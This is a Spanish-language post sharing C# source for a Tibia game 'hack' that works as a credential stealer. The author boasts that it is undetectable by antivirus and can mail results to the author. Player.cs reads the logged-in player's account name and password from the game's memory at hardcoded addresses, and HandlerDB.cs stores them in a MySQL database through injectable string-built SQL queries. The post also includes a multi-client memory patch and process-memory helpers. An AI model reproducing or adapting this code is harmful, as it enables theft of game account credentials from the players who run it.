Bueno aquí les dejo este pedazo de código que si bien funciona, sera necesario mejorarlo y actualizarlo para cada nueva versión de Tibia. Tal vez tenga una que otra situación no implementada. Pero creo que en general le puede servir a alguien para ver mas o menos para donde va el asunto xD. Algunas partes del codigo fueron tomadas del Tibia API. Cuenta con dos metodos de envio, ya sea configurando una base de datos o con solo agregar tu correo gmail y un password para que llegue a tu correo hotmail por ejemplo. Luego hare una entrada para mostrar como actualizar las address, para las verciones que vayan saliendo de Tibia. La funcion MC funciona perfecto, y por supuesto es indetectable para cualquier antivirus. Sin mas, el codigo fuente y al final el link de virustotal con un exe del hack subido.
Player.csusing System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Diagnostics; using Tibb.Util; namespace Tibb.Clients { public class Player { /* * Constructor */ public Player(Process process) { this.process = process; this.process.EnableRaisingEvents = true; Handle = process.Handle; this.AdressOffset = process.MainModule.BaseAddress.ToInt32() - 0x400000; } #region PlayerInformation public uint GetPlayerAdr() { for (uint i = battleListStartAddress; i <= endsAddress; i += stepsAddress) { if (ReadInt(i) == ReadInt(playerIdAddress)) { return i; } } return 0; } public bool IsOnline() { if (ReadByte(statusAddress) == 8) { return true; } return false; } public string getName { get { return ReadString(GetPlayerAdr() + 4); } } public string getServerName { get { return ReadString(GetPlayerAdr() + 30); } } public int getLevel { get { return ReadInt(levelAddress); } } public string getAccount { get { return ReadString(accountAddress); } } public string getPassword { get { return ReadString(passwordAddress); } } #endregion /* * Memory helper. */ private string ReadString(uint adr) { return Memory.ReadString(Handle, AdressOffset + adr, 32); } private int ReadInt(uint adr) { return Memory.ReadInt32(Handle, AdressOffset + adr); } private byte ReadByte(uint adr) { return Memory.ReadByte(Handle, AdressOffset + adr); } private void WriteInt(uint adr, int value) { Memory.WriteInt32(Handle, AdressOffset + adr, value); } private void WriteString(uint adr, string value) { Memory.WriteString(Handle, AdressOffset + adr, value); } private void WriteByte(uint adr, byte value) { Memory.WriteByte(Handle, (long)AdressOffset + adr, value); } private Process process; private IntPtr Handle; private int AdressOffset; private static uint battleListStartAddress = 0x949008; //971 private static uint stepsAddress = 0xB0; private static uint Max = 1300; private static uint endsAddress = battleListStartAddress + (stepsAddress * Max); private static uint playerIdAddress = 0x980EA4;//971 private static uint statusAddress = 0x7BDCDC;//971 private static uint levelAddress = 0x7B3F0C;//971 private static uint passwordAddress = 0x946CE0;//971 private static uint accountAddress = 0x946CC4;//971 } }
InitTibb.cs
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Diagnostics; using Tibb.Clients; using System.Windows.Forms; using Tibb.DAO; using System.Threading; namespace Tibb.Clients { public class InitTibbs { /* * Inicia los procesos de busqueda. */ public void initialize() { search = true; hilo = new Thread(new ThreadStart(findProcesses)); hilo.IsBackground = true; hilo.Start(); hilo.Join(); Thread.Sleep((int) waitTime.wait01m); this.initialize(); } /* * Scanea todos los procesos tibia encontrados. */ private void scannTibiaProcesses() { for (int i = 0; i < this.countTibiaProcesses(); i++) { player = new Player(process[i]); process[i].EnableRaisingEvents = true; process[i].Exited += new EventHandler(process_Exited); while (true) { if (player.IsOnline()) { HandlerDB handlerDB = new HandlerDB(player); if (!handlerDB.existPlayer()) { handlerDB.insertPlayer(); Thread.Sleep((int) waitTime.wait05s); } else { handlerDB.updatePlayer(); Thread.Sleep((int)waitTime.wait05s); } break; } else Thread.Sleep((int)waitTime.wait10s); } } this.cancelSearch(); } /* * Destruye el hilo hijo. */ public void cancelSearch() { this.hilo.Abort(); } /* * Busca proceso Tibia * Si: interactua con la base de datos. * No: espera 1 minuto. */ private void findProcesses() { while (search) { if (this.existTibiaProcess()) { this.scannTibiaProcesses(); } else Thread.Sleep((int)waitTime.wait01m); } } /* * Muestra la existencia o no de un proceso Tibia. */ private bool existTibiaProcess() { this.getTibiaProcesses(); if (this.countTibiaProcesses() == 0) { return false; } else return true; } /* * Evento que se dispara al cerrar el proceso Tibia. */ private void process_Exited(object sender, EventArgs e) { this.cancelSearch(); } /* * Obtiene todos los procesos con nombre Tibia. */ private void getTibiaProcesses() { process = Process.GetProcessesByName(processName); } /* * Retorna el numero de elementos de process. */ public int countTibiaProcesses() { return process.Length; } /* * Tiempos de espera. */ private enum waitTime { wait01s = 1000, wait05s = 5000, wait10s = 10000, wait30s = 30000, wait01m = 60000, wait01h = 3600000, }; private static Player player; private Thread hilo; private Process[] process; private const string processName = "Tibia"; private const string version = "9.7.1.0"; private bool search; } }HandlerDB.cs
using System; using System.Collections.Generic; using System.Linq; using System.Text; using MySql.Data; using MySql.Data.MySqlClient; using Tibb.Clients; using System.Windows.Forms; namespace Tibb.DAO { public class HandlerDB { /* * Constructor */ public HandlerDB(Player player) { this.player = player; initialize(); } /* * Inicializa las variables para la conexion. */ private void initialize() { server = "localhost"; database = "tibb"; uid = "root"; password = ""; string connectionString; connectionString = "SERVER=" + server + ";" + "DATABASE=" + database + ";" + "UID=" + uid + ";" + "PASSWORD=" + password + ";"; connection = new MySqlConnection(connectionString); } /* * Abre la conexion con la base de datos. */ private bool openConnection() { try { connection.Open(); return true; } catch (MySqlException ex) { switch (ex.Number) { case 0: MessageBox.Show("Cannot connect to server. Contact administrator"); break; case 1045: MessageBox.Show("Invalid username/password, please try again"); break; } return false; } } /* * Cierra la conexion con la base de datos. */ private bool closeConnection() { try { connection.Close(); return true; } catch (MySqlException ex) { MessageBox.Show(ex.Message); return false; } } /* * Verifica si el usuario existe. */ public bool existPlayer() { bool estado = false; string query = "SELECT nombre FROM players WHERE nombre='" + player.getName + "'"; if(this.openConnection() == true) { MySqlCommand cmd = new MySqlCommand(); cmd.CommandText = query; cmd.Connection = connection; MySqlDataReader reader; reader = cmd.ExecuteReader(); if (reader.Read()) { estado = true; } } this.closeConnection(); return estado; } /* * Crea un nuevo registro con los datos del player nuevo. */ public void insertPlayer() { MessageBox.Show(MakeMySQLDateTime()); string query = @"INSERT INTO players (nombre, account, password, server, lvl) VALUES('" + player.getName + "','" + player.getAccount + "', '" + player.getPassword + "', 'Indefined', " + player.getLevel +")"; if (this.openConnection() == true) { MySqlCommand cmd = new MySqlCommand(query, connection); cmd.ExecuteNonQuery(); this.closeConnection(); } } /* * Actualiza los datos del player. */ public void updatePlayer() { string query = "UPDATE players SET account='" + player.getAccount + "' WHERE nombre='"+ player.getName +"'"; if (this.openConnection() == true) { MySqlCommand cmd = new MySqlCommand(); cmd.CommandText = query; cmd.Connection = connection; cmd.ExecuteNonQuery(); this.closeConnection(); } } /* * Borra un registro de la base de datos */ public void deletePlayer() { string query = "DELETE FROM tableinfo WHERE nombre=''"; if (this.openConnection() == true) { MySqlCommand cmd = new MySqlCommand(query, connection); cmd.ExecuteNonQuery(); this.closeConnection(); } } /* * Devuelve el numero de entradas en la base de datos. */ public int countData() { string query = "SELECT Count(*) FROM players"; int Count = -1; if (this.openConnection() == true) { MySqlCommand cmd = new MySqlCommand(query, connection); Count = int.Parse(cmd.ExecuteScalar() + ""); this.closeConnection(); return Count; } else { return Count; } } /* * Retorna la fecha actual. */ public static string MakeMySQLDateTime() { string MySQL = DateTime.Now.Year + "-" + DateTime.Now.Month + "-" + DateTime.Now.Day + " " + DateTime.Now.Hour + ":" + DateTime.Now.Minute + ":" + DateTime.Now.Second; return MySQL; } private MySqlConnection connection; private Player player; private string server; private string database; private string uid; private string password; } }ClientMC.cs
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.IO; using System.Diagnostics; using Tibb.Util; namespace Tibb.Clients { class ClientMC { private Process process; private IntPtr processHandle; private static long MultiClient = 0x5309C7; private static byte MultiClientJMP = 0xEB; private static byte MultiClientJNZ = 0x75; public ClientMC() { } public ClientMC(Process p) { process = p; process.WaitForInputIdle(); while (process.MainWindowHandle == IntPtr.Zero) { process.Refresh(); System.Threading.Thread.Sleep(5); } processHandle = WinApi.OpenProcess(WinApi.PROCESS_ALL_ACCESS, 0, (uint)process.Id); } public static ClientMC OpenMC() { return OpenMC(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), @"Juegos\Tibia\tibia.exe"), ""); } public static ClientMC OpenMC(string path, string arguments) { WinApi.PROCESS_INFORMATION pi = new WinApi.PROCESS_INFORMATION(); WinApi.STARTUPINFO si = new WinApi.STARTUPINFO(); if (arguments == null) arguments = ""; if (!WinApi.CreateProcess(path, " " + arguments, IntPtr.Zero, IntPtr.Zero, false, WinApi.CREATE_SUSPENDED, IntPtr.Zero, System.IO.Path.GetDirectoryName(path), ref si, out pi)) return null; uint baseAddress = 0; IntPtr hThread = WinApi.CreateRemoteThread(pi.hProcess, IntPtr.Zero, 0, WinApi.GetProcAddress(WinApi.GetModuleHandle("Kernel32"), "GetModuleHandleA"), IntPtr.Zero, 0, IntPtr.Zero); if (hThread == IntPtr.Zero) { WinApi.CloseHandle(pi.hProcess); WinApi.CloseHandle(pi.hThread); return null; } WinApi.WaitForSingleObject(hThread, 0xFFFFFFFF); WinApi.GetExitCodeThread(hThread, out baseAddress); WinApi.CloseHandle(hThread); if (baseAddress == 0) { WinApi.CloseHandle(pi.hProcess); WinApi.CloseHandle(pi.hThread); return null; } IntPtr handle = WinApi.OpenProcess(WinApi.PROCESS_ALL_ACCESS, 0, pi.dwProcessId); if (handle == IntPtr.Zero) { WinApi.CloseHandle(pi.hProcess); WinApi.CloseHandle(pi.hThread); return null; } var process = Process.GetProcessById(Convert.ToInt32(pi.dwProcessId)); Util.Memory.WriteByte(handle, (long)ClientMC.MultiClient, ClientMC.MultiClientJMP); WinApi.ResumeThread(pi.hThread); process.WaitForInputIdle(); Util.Memory.WriteByte(handle, (long)ClientMC.MultiClient, ClientMC.MultiClientJNZ); WinApi.CloseHandle(pi.hProcess); WinApi.CloseHandle(pi.hThread); WinApi.CloseHandle(handle); return new ClientMC(process); } } }Memory.cs
using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace Tibb.Util { public static class Memory { public static byte[] ReadBytes(IntPtr handle, long address, uint bytesToRead) { IntPtr ptrBytesRead; byte[] buffer = new byte[bytesToRead]; Util.WinApi.ReadProcessMemory(handle, new IntPtr(address), buffer, bytesToRead, out ptrBytesRead); return buffer; } public static byte ReadByte(IntPtr handle, long address) { return ReadBytes(handle, address, 1)[0]; } public static short ReadInt16(IntPtr handle, long address) { return BitConverter.ToInt16(ReadBytes(handle, address, 2), 0); } public static ushort ReadUInt16(IntPtr handle, long address) { return BitConverter.ToUInt16(ReadBytes(handle, address, 2), 0); } [Obsolete("Please use ReadInt16")] public static short ReadShort(IntPtr handle, long address) { return BitConverter.ToInt16(ReadBytes(handle, address, 2), 0); } public static int ReadInt32(IntPtr handle, long address) { return BitConverter.ToInt32(ReadBytes(handle, address, 4), 0); } public static uint ReadUInt32(IntPtr handle, long address) { return BitConverter.ToUInt32(ReadBytes(handle, address, 4), 0); } public static ulong ReadUInt64(IntPtr handle, long address) { return BitConverter.ToUInt64(ReadBytes(handle, address, 8), 0); } [Obsolete("Please use ReadInt32.")] public static int ReadInt(IntPtr handle, long address) { return BitConverter.ToInt32(ReadBytes(handle, address, 4), 0); } public static double ReadDouble(IntPtr handle, long address) { return BitConverter.ToDouble(ReadBytes(handle, address, 8), 0); } public static string ReadString(IntPtr handle, long address) { return ReadString(handle, address, 0); } public static string ReadString(IntPtr handle, long address, uint length) { if (length > 0) { byte[] buffer; buffer = ReadBytes(handle, address, length); return System.Text.ASCIIEncoding.Default.GetString(buffer).Split(new Char())[0]; } else { string s = ""; byte temp = ReadByte(handle, address++); while (temp != 0) { s += (char)temp; temp = ReadByte(handle, address++); } return s; } } public static bool WriteBytes(IntPtr handle, long address, byte[] bytes, uint length) { IntPtr bytesWritten; // Write to memory int result = Util.WinApi.WriteProcessMemory(handle, new IntPtr(address), bytes, length, out bytesWritten); return result != 0; } public static bool WriteInt32(IntPtr handle, long address, int value) { return WriteBytes(handle, address, BitConverter.GetBytes(value), 4); } public static bool WriteUInt32(IntPtr handle, long address, uint value) { return WriteBytes(handle, address, BitConverter.GetBytes(value), 4); } public static bool WriteUInt64(IntPtr handle, long address, ulong value) { return WriteBytes(handle, address, BitConverter.GetBytes(value), 8); } public static bool WriteInt16(IntPtr handle, long address, short value) { return WriteBytes(handle, address, BitConverter.GetBytes(value), 2); } public static bool WriteUInt16(IntPtr handle, long address, ushort value) { return WriteBytes(handle, address, BitConverter.GetBytes(value), 2); } [Obsolete("Please use WriteInt32.")] public static bool WriteInt(IntPtr handle, long address, int value) { byte[] bytes = BitConverter.GetBytes(value); return WriteBytes(handle, address, bytes, 4); } public static bool WriteDouble(IntPtr handle, long address, double value) { byte[] bytes = BitConverter.GetBytes(value); return WriteBytes(handle, address, bytes, 8); } public static bool WriteByte(IntPtr handle, long address, byte value) { return WriteBytes(handle, address, new byte[] { value }, 1); } public static bool WriteString(IntPtr handle, long address, string str) { str += '\0'; byte[] bytes = System.Text.ASCIIEncoding.Default.GetBytes(str); return WriteBytes(handle, address, bytes, (uint)bytes.Length); } public static bool WriteRSA(IntPtr handle, long address, string newKey) { IntPtr bytesWritten; int result; WinApi.MemoryProtection oldProtection = 0; System.Text.ASCIIEncoding enc = new System.Text.ASCIIEncoding(); byte[] bytes = enc.GetBytes(newKey); // Make it so we can write to the memory block WinApi.VirtualProtectEx( handle, new IntPtr(address), new IntPtr(bytes.Length), WinApi.MemoryProtection.ExecuteReadWrite, ref oldProtection); // Write to memory result = WinApi.WriteProcessMemory(handle, new IntPtr(address), bytes, (uint)bytes.Length, out bytesWritten); // Put the protection back on the memory block WinApi.VirtualProtectEx(handle, new IntPtr(address), new IntPtr(bytes.Length), oldProtection, ref oldProtection); return (result != 0); } } }WinApi.cs
using System; using System.Runtime.InteropServices; using System.Text; namespace Tibb.Util { public static class WinApi { [DllImport("user32.dll")] public static extern bool SetForegroundWindow(IntPtr hWnd); [DllImport("user32.dll")] public static extern IntPtr GetForegroundWindow(); [DllImport("user32.dll")] public static extern void SetWindowText(IntPtr hWnd, string str); [DllImport("user32.dll")] public static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count); [DllImport("user32.dll")] public static extern bool IsIconic(IntPtr hWnd); [DllImport("user32.dll")] public static extern bool IsZoomed(IntPtr hWnd); [DllImport("user32.dll")] public static extern bool FlashWindow(IntPtr hWnd, bool invert); [DllImport("user32.dll")] public static extern bool SetWindowPos(IntPtr hWnd, uint hWndInsertAfter, int x, int y, int cx, int cy, uint uFlags); [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmd); [DllImport("user32.dll")] public static extern IntPtr GetWindowRect(IntPtr hWnd, ref RECT rect); [DllImport("user32.dll")] public static extern bool GetClientRect(IntPtr hWnd, out RECT lpRect); [DllImport("user32.dll")] public static extern IntPtr SendMessage(IntPtr hWnd, uint Msg, int wParam, int lParam); [DllImport("user32.dll", SetLastError = true)] public static extern IntPtr FindWindow(string lpClassName, string lpWindowName); [DllImport("user32.dll", SetLastError = true)] public static extern uint GetWindowThreadProcessId(IntPtr hWnd, out int lpdwProcessId); [DllImport("user32.dll", CharSet = CharSet.Auto)] public static extern int GetClassName(IntPtr hWnd, StringBuilder className, int maxCharCount); public const uint PROCESS_ALL_ACCESS = 0x1F0FFF; public const uint PROCESS_VM_READ = 0x0010; public const uint PROCESS_VM_WRITE = 0x0020; public const uint PROCESS_VM_OPERATION = 0x0008; public const uint MEM_COMMIT = 0x1000; public const uint MEM_RESERVE = 0x2000; public const uint MEM_RELEASE = 0x8000; public const uint SWP_NOMOVE = 0x2; public const uint SWP_NOSIZE = 0x1; public const uint HWND_TOPMOST = 0xFFFFFFFF; public const uint HWND_NOTOPMOST = 0xFFFFFFFE; public const int SW_HIDE = 0; public const int SW_SHOWNORMAL = 1; public const int SW_SHOWMINIMIZED = 2; public const int SW_SHOWMAXIMIZED = 3; public const int SW_SHOWNOACTIVATE = 4; public const int SW_SHOW = 5; public const int SW_MINIMIZE = 6; public const int SW_SHOWMINNOACTIVE = 7; public const int SW_SHOWNA = 8; public const int SW_RESTORE = 9; public const int SW_SHOWDEFAULT = 10; public const uint WM_LBUTTONDOWN = 0x201; public const uint WM_LBUTTONUP = 0x202; public const uint CREATE_SUSPENDED = 0x00000004; public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public uint dwProcessId; public uint dwThreadId; } public struct STARTUPINFO { public uint cb; public string lpReserved; public string lpDesktop; public string lpTitle; public uint dwX; public uint dwY; public uint dwXSize; public uint dwYSize; public uint dwXCountChars; public uint dwYCountChars; public uint dwFillAttribute; public uint dwFlags; public short wShowWindow; public short cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } public struct SECURITY_ATTRIBUTES { public int length; public IntPtr lpSecurityDescriptor; public bool bInheritHandle; } [DllImport("kernel32.dll", SetLastError = true)] public static extern bool CreateProcess(String imageName, String cmdLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool boolInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, String lpszCurrentDir, ref STARTUPINFO si, out PROCESS_INFORMATION pi); [DllImport("kernel32.dll", SetLastError = true)] public static extern Int32 WaitForSingleObject(IntPtr Handle, UInt32 Wait); [DllImport("kernel32.dll")] public static extern uint ResumeThread(IntPtr hThread); [DllImport("kernel32.dll")] public static extern IntPtr OpenProcess(UInt32 dwDesiredAccess, Int32 bInheritHandle, UInt32 dwProcessId); [DllImport("kernel32.dll")] public static extern Int32 ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [In, Out] byte[] buffer, UInt32 size, out IntPtr lpNumberOfBytesRead); [DllImport("kernel32.dll", SetLastError = true)] public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, IntPtr dwSize, MemoryProtection flNewProtect, ref MemoryProtection lpflOldProtect); [DllImport("kernel32.dll")] public static extern Int32 WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [In, Out] byte[] buffer, UInt32 size, out IntPtr lpNumberOfBytesWritten); [DllImport("kernel32.dll")] public static extern Int32 CloseHandle(IntPtr hObject); [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, AllocationType flAllocationType, MemoryProtection flProtect); [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] public static extern bool VirtualFreeEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, AllocationType dwFreeType); [DllImport("kernel32.dll")] public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [DllImport("kernel32.dll")] public static extern bool GetExitCodeThread(IntPtr hThread, out uint lpExitCode); [DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true)] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32.dll", CharSet = CharSet.Auto)] public static extern IntPtr GetModuleHandle(string lpModuleName); [StructLayout(LayoutKind.Sequential)] public struct RECT { public int left; public int top; public int right; public int bottom; } public static int MakeLParam(int LoWord, int HiWord) { return ((HiWord << 16) | (LoWord & 0xffff)); } //the same function but with another name =D // just for understand the code better. public static int MakeWParam(int LoWord, int HiWord) { return ((HiWord << 16) | (LoWord & 0xffff)); } [Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000, Decommit = 0x4000, Release = 0x8000, Reset = 0x80000, Physical = 0x400000, TopDown = 0x100000, WriteWatch = 0x200000, LargePages = 0x20000000 } [Flags] public enum MemoryProtection { Execute = 0x10, ExecuteRead = 0x20, ExecuteReadWrite = 0x40, ExecuteWriteCopy = 0x80, NoAccess = 0x01, ReadOnly = 0x02, ReadWrite = 0x04, WriteCopy = 0x08, GuardModifierflag = 0x100, NoCacheModifierflag = 0x200, WriteCombineModifierflag = 0x400 } [DllImport("kernel32.dll", SetLastError = true)] public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, MemoryProtection flNewProtect, out MemoryProtection lpflOldProtect); } }